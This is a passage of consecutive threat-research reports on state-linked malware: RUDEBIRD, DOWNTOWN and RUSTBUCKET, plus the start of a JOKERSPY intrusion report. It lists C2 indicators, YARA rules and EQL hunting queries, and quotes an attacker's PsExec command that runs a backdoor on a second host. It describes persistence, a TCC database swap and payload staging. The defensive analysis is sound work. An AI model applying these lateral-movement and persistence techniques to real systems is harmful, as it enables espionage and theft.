The backdoor was executed by a file with an invalid signature, C:\Windows\help\RVTDM.exe, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.

The process was executed with the parent process (w3wp.exe) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.

Lateral movement

RUDEBIRD used PsExec (exec.exe) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.

"C:\windows\help\exec.exe" /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE

Code analysis

RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the kernel32.dll and ntdll.dll modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.

RUDEBIRD uses a straightforward API hashing algorithm with multiplication (0x21) and addition that is publicly available from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.

After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:

• Hostname
• Computer name
• Username
• IP Address
• System architecture
• Privilege of the current user

For some functions that return larger amounts of data, the malware implements compression using RtlCompressBuffer. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:

• 45.90.58[.]103
• 185.195.237[.]123

Strangely, there are several functions throughout the program that include calls to OutputDebugStringA. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.

RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to VV.0.

After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:

• Retrieve victim’s desktop directory path
• Retrieve disk volume information
• Perform file/directory enumeration
• Perform file operations such as reading/writing file content
• Launch new processes
• File/folder operations such as creating new directories, move/copy/delete/rename files
• Beacon timeout option

DOWNTOWN (SManager/PhantomNet)

In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware SManager/PhantomNet. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.

SManager/PhantomNet has been attributed to TA428 (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.

Code analysis

For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published research by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, GetPluginInfomation (note: Infomation is missing an r). The victimology of REF2924 is consistent with their reported victim vertical and region.

In our sample, the plugin is labeled as “ExplorerManager”.

The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.

In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using OutputDebugStringA. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).

Some functionality observed in the sample included:

• File/folder enumeration
• Disk enumeration
• File operations (delete/execute/rename/copy)

Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.

DOWNTOWN Summary

DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.

Network infrastructure intersection

When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.

Shared network infrastructure

As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: 185.82.217[.]164 and 195.123.245[.]79.

Of the two, 185.82.217[.]164 had an expired TLS certificate registered to it for paper.hosted-by-bay[.]net. The subdomain registration for paper.hosted-by-bay[.]net and the TLS certificate were registered on December 14, 2020.

As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: 45.90.58[.]103 and 185.195.237[.]123.

45.90.58[.]103 was used to register the subdomain news.hosted-by-bay[.]net, on December 13, 2020.

Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (paper.hosted-by-bay[.]net and news.hosted-by-bay[.]net) within one day at the domain hosted-by-bay[.]net.

Note: While 195.123.245[.]79 (EAGERBEE) and 185.195.237[.]123 (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by 185.82.217[.]164 (EAGERBEE) and 45.90.58[.]103 (RUDEBIRD).

Domain analysis

When performing an analysis of the hosted-by-bay[.]net domain, we see that it is registered to the IP address 45.133.194[.]106. This IP address exposes two TCP ports, one is the expected TLS port of 443, and the other is 62753.

Note: Port 443 has a Let’s Encrypt TLS certificate for paypal.goodspaypal[.]com. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.

On port 62753, there was a self-signed wildcard TLS leaf certificate with a fingerprint of d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59 (*.REDACTED[.]mn). This fingerprint is used for one host, shop.REDACTED[.]mn. The 10-year TLS certificate was registered on December 13, 2020.

Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn

.mn is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.

It does not appear that shop.REDACTED[.]mn was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the hosted-by-bay[.]net domain.

As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.

Defense evasion

Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by Censys.io databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.

192.123.245[.]79 had TCP port 80 enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.

185.195.237[.]123 had TCP port 443 enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.

185.82.217[.]164 had TCP port 443 enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.

45.90.58[.]103 had TCP port 443 enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.

Network intersection summary

EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.

When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain hosted-by-bay[.]net), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.

Summary

EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.

They all, however, deliver similar tactical capabilities in the context of this environment.

• Local enumeration
• Persistence
• Download/execute additional tooling
• C2 options

The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.

This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.

REF5961 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• EAGERBEE
  • Defense Evasion
  • Discovery
  • Command and Control
  • Execution
• RUDEBIRD
  • Defense Evasion
  • Collection
  • Command and Control
  • Discovery
  • Lateral Movement
  • Execution
• DOWNTOWN
  • Discovery
  • Collection

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• EAGERBEE
  • Obfuscated Files or Information
  • System Information Discovery
  • Exfiltration Over C2 Channel
  • Proxy
  • Process Injection
• RUDEBIRD
  • File and Directory Discovery
  • System Information Discovery
  • Command and Scripting Interpreter
  • Lateral Tool Transfer
  • Data from Local System
• DOWNTOWN
  • File and Directory Discovery
  • System Information Discovery

Malware prevention capabilities

• EAGERBEE
• RUDEBIRD
• DOWNTOWN

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:

EAGERBEE

rule Windows_Trojan_EagerBee_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-09-04"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}

RUDEBIRD

rule Windows_Trojan_RudeBird {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.RudeBird"
        license = "Elastic License v2"
        os = "windows"

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}

DOWNTOWN

rule Windows_Trojan_DownTown_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "SendFileBuffer error -1 !!!" fullword
        $a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
        $a3 = "ExplorerManagerC.dll" fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-23"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "DeletePluginObject"
        $a2 = "GetPluginInfomation"
        $a3 = "GetPluginObject"
        $a4 = "GetRegisterCode"

    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
• https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns
• https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/
• https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
• https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py
• https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager
• https://malpedia.caad.fkie.fraunhofer.de/actor/ta428
• https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/

• The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.
• REF9135 actors are continually shifting their infrastructure to evade detection and response.
• The DPRK continues financially motivated attacks against cryptocurrency service providers.
• If you are running Elastic Defend, you are protected from REF9135

Preamble

The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by Jamf Threat Labs in April 2023.

This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.

The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).

This research will describe:

• REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider
• Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism
• How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting

RUSTBUCKET code analysis

Overview

Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.

Stage 1

During Stage 1, the process begins with the execution of an AppleScript utilizing the %2Fusr%2Fbin%2Fosascript command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string pd in the body of the HTTP request and cur1-agent as the User-Agent string which saves the Stage 2 binary to %2Fusers%2Fshared%2F.pd, (7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8).

Stage 2

The Stage 2 binary ( .pd ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the downAndExec function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0) and includes the string pw in the body of the HTTP request.

During execution, the malware utilizes specific macOS APIs for various operations. It begins with NSFileManager's temporaryDirectory function to obtain the current temporary folder, then generates a random UUID using NSUUID's UUID.init method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.

Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes NSTask to initiate its execution.

Stage 3

In Stage 3, the malware (9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.

The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:

• Computer name
• List of active processes
• Current timestamp
• Installation timestamp
• System boot time
• Status of all running processes within the system

The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0).

Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.

Command ID 0x31

This command directs the malware to self-terminate.

Command ID 0x30

This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of $TMPDIR%2F.\<8 random digits\>

Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.

The malware proceeds by granting execution permissions to the uploaded file using the chmod API.

After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server

The undetected version of RUSTBUCKET

Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.

As of the publication of this research, the newly discovered version of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.

Persistence

A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.

In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path %2FUsers%2F\<user\>%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist , and it copies the malware’s binary to the following path %2FUsers%2F\<user\>%2FLibrary%2FMetadata%2FSystem Update.

There are several elements of the plist file, using standard true%2Ffalse or string values:

• Label: The key "Label" specifies the name of the LaunchAgent, which in this case is com.apple.systemupdate. This expects a string value.
• RunAtLoad: This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.
• LaunchOnlyOnce: This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.
• KeepAlive: This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.
• ProgramArguments: The "ProgramArguments" key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at "%2FUsers%2F\<user\>%2FLibrary%2FMetadata%2FSystem Update" and provides the C2 URL "https:%2F%2Fwebhostwatto.work[.]gd" as an argument to the malware.

RUSTBUCKET and REF9135 analysis

Overview

The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the Lazarus Group. The 2016 Bangladesh Bank robbery stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.

As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the BBC World Service that is an unbelievable account of this event.

Networking infrastructure

The persistence mechanism identified previously calls out to https:%2F%2Fwebhostwatto.work[.]gd. Third-party research into this URL indicates that 12%2F89 VirusTotal vendors have identified it as malicious, and it exists within a community collection documenting the DangerousPassword phishing campaign.

VirusTotal last saw the domain pointing to 104.168.167[.]88. Which has been specifically identified in a Sekoia.io blog in May as part of BlueNorOff’s RUSTBUCKET campaign.

Further connecting webhostwatto.work[.]gd to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( 1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6 ) with another domain, companydeck[.]online.

companydesk[.]online is included in the VirusTotal Graph (VirusTotal account required) for APT38, which is also known as DangerousPassword, BlueNorOff, etc.

DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.

Using the IP address (64.44.141[.]15) for our initial C2 domain, crypto.hondchain[.]com, we uncovered 3 additional C2 domains:

• starbucls[.]xyz
• jaicvc[.]com
• docsend.linkpc[.]net (dynamic DNS domain)

While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with webhostwatto.work[.]gd. The TLS fingerprint hash for starbucls[.]xyz ( 788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a ) is the same fingerprint as jaicvc[.]com.

With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:

• All hosts were registered to 64.44.141[.]15
• starbucls[.]xyz and crypto.hondchain[.]com were observed being used by our malware samples
• starbucls[.]xyz and jaicvc[.]com shared a TLS fingerprint

Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:

• starbucls[.]xyz
• jaicvc[.]com
• crypto.hondchain[.]com
• 64.44.141[.]15

We have not observed docsend.linkpc[.]net being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).

Defense evasion

The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.

As outlined in the Stage 1 section, there is a specific User-Agent string ( cur1-agent ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).

It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)), we were able to collect the Stage 3 binary.

Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (crypto.hondchain[.]com), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (starbucls[.]xyz). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.

Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is curl%2Fversion.number whereas the malware uses cur1-agent (using a 1 in place of the l in “curl”). Additionally, the “Firefox” string is all lowercase (mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)), unlike actual Firefox User-Agent strings which are camel-cased.

This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.

Victimology

The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial access
• Execution
• Defense evasion
• Discovery
• Lateral movement
• Command and control

Diamond model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Detection logic

Prevention

• MacOS.Trojan.RustBucket
• Persistence via Suspicious Launch Agent or Launch Daemon

Hunting queries

The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.

Suspicious Curl File Download via Osascript

process where process.parent.name : "osascript" and process.name : "curl" and process.args : "-o"

Suspicious URL as argument to Self-Signed Binary

process where event.type == "start" and event.action == "exec" and 
 process.code_signature.trusted == false and 
 process.code_signature.signing_id regex~ """[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}""" and 
 process.args : "http*" and process.args_count <= 3

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:

 rule MacOS_Trojan_RustBucket {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-26"
        last_modified = "2023-06-26"
        license = "Elastic License v2"
        os = "MacOS"
        arch = "x86"
        category_type = "Trojan"
        family = "RustBucket"
        threat_name = "MacOS.Trojan.RustBucket"
        reference_sample = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
        severity = 100

    strings:
        $user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
        $install_log = "/var/log/install.log"
        $timestamp = "%Y-%m-%d %H:%M:%S"
    condition:
        all of them
}

References

The following were referenced throughout the above research:

• https:%2F%2Fwww.jamf.com%2Fblog%2FBlueNorOff-apt-targets-macos-rustbucket-malware%2F
• https:%2F%2Fblog.sekoia.io%2FBlueNorOffs-rustbucket-campaign%2F

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

• This is an initial notification of an active intrusion with additional details to follow
• REF9134 leverages custom and open source tools for reconnaissance and command and control
• Targets of this activity include a cryptocurrency exchange in Japan

Preamble

This research article explores a recently discovered intrusion we’re calling REF9134, which involves using the sh.py backdoor to deploy the macOS Swiftbelt enumeration tool. sh.py and xcc have recently been dubbed JOKERSPY by Bitdefender.

Specifically, this research covers:

• How Elastic Security Labs identified reconnaissance from the adversary group
• The adversary’s steps to evade detection using xcc , installing the sh.py backdoor, and deploying enumeration tools

A deeper look at this attack may be published at a later date.

Overview

In late May of 2023, an adversary with existing access in a prominent Japanese cryptocurrency exchange tripped one of our diagnostic endpoint alerts that detected the execution of a binary ( xcc ). xcc is not trusted by Apple, and the adversary self-signed using the native macOS tool codesign. While this detection in itself was not necessarily innocuous, the industry vertical and additional activity we observed following these initial alerts caught our eye and caused us to pay closer attention.

Following the execution of xcc , we observed the threat actor attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one. On June 1st a new Python-based tool was seen executing from the same directory as xcc and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt.

Analysis

REF9134 is an intrusion into a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies.

The xcc binary

xcc ( d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8 ) is a self-signed multi-architecture binary written in Swift which is used to evaluate current system permissions. The version observed by Elastic Security Labs is signed as XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4 , and has a code signature resembling publicly known and untrusted payloads.

To identify other binaries signed with the same identifier, we converted XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4 to hexadecimal and searched VirusTotal to identify 3 additional samples ( content:{5850726f74656374436865636b2d35353535343934346637343039366138333662373333313062643535643937643164666635636434} ).

Each contained the same core functionality with structural differences. These discrepancies may indicate that these variants of xcc were developed to bypass endpoint capabilities that interfered with execution.

Shortly after the creation of xcc , researchers observed the threat actor copying /Users/Shared/tcc.db over the existing TCC database, /Library/Application Support/com.apple.TCC/TCC.db. This may enable the threat to avoid TCC prompts visible to system users while simultaneously abusing a directory with broad file write permissions.

XCode artifacts

During analysis of this binary, researchers identified two unique paths, /Users/joker/Developer/Xcode/DerivedData/ and /Users/joker/Downloads/Spy/XProtectCheck/XProtectCheck/ , which stood out as anomalous. The default path for compiling code with Xcode is /Users/[username]/Developer/Xcode/DerivedData.

Abusing TCC

These introspection permissions are managed by the native Transparency, Consent, and Control (TCC) feature. Researchers determined that xcc checks FullDiskAccess and ScreenRecording permissions, as well as checking if the screen is currently locked and if the current process is a trusted accessibility client.

Upon successfully executing in our Detonate environment, the following results were displayed:

Once the custom TCC database was placed in the expected location, the threat actor executed the xcc binary.

Initial access

The xcc binary was executed via bash by three separate processes

• /Applications/IntelliJ IDEA.app/Contents/MacOS/idea
• /Applications/iTerm.app/Contents/MacOS/iTerm2
• /Applications/Visual Studio Code.app/Contents/MacOS/Electron.

While we are still investigating and continuing to gather information, we strongly believe that the initial access for this malware was a malicious or backdoored plugin or 3rd party dependency that provided the threat actor access. This aligns with the connection that was made by the researchers at Bitdefender who correlated the hardcoded domain found in a version of the sh.py backdoor to a Tweet about an infected macOS QR code reader which was found to have a malicious dependency.

Deployed cryptographic libraries

On May 31st, researchers observed three non-native DyLibs deployed to /Users/shared/keybag/ called libcrypto.1.0.0.dylib , libncursesw.5.dylib , and libssl.1.0.0.dylib. On MacOS, keys for file and keychain Data Protection are stored in keybags, and pertain to iOS, iPadOS, watchOS, and tvOS. At this time, researchers propose that this staging serves a defense evasion purpose and speculate that they may contain useful vulnerabilities. The threat actor may plan to introduce these vulnerabilities to otherwise patched systems or applications.

The sh.py backdoor

sh.py is a Python backdoor used to deploy and execute other post-exploitation capabilities like Swiftbelt .

The malware loads its configuration from ~/Public/Safari/sar.dat. The configuration file contains crucial elements such as command-and-control (C2) URLs, a sleep timer for beaconing purposes (the default value is 5 seconds), and a unique nine-digit identifier assigned to each agent.

As part of its periodic beaconing, the malware gathers and transmits various system information. The information sent includes:

• Hostname
• Username
• Domain name
• Current directory
• The absolute path of the executable binary
• OS version
• Is 64-bit OS
• Is 64-bit process
• Python version

Below is a table outlining the various commands that can be handled by the backdoor:

Swiftbelt

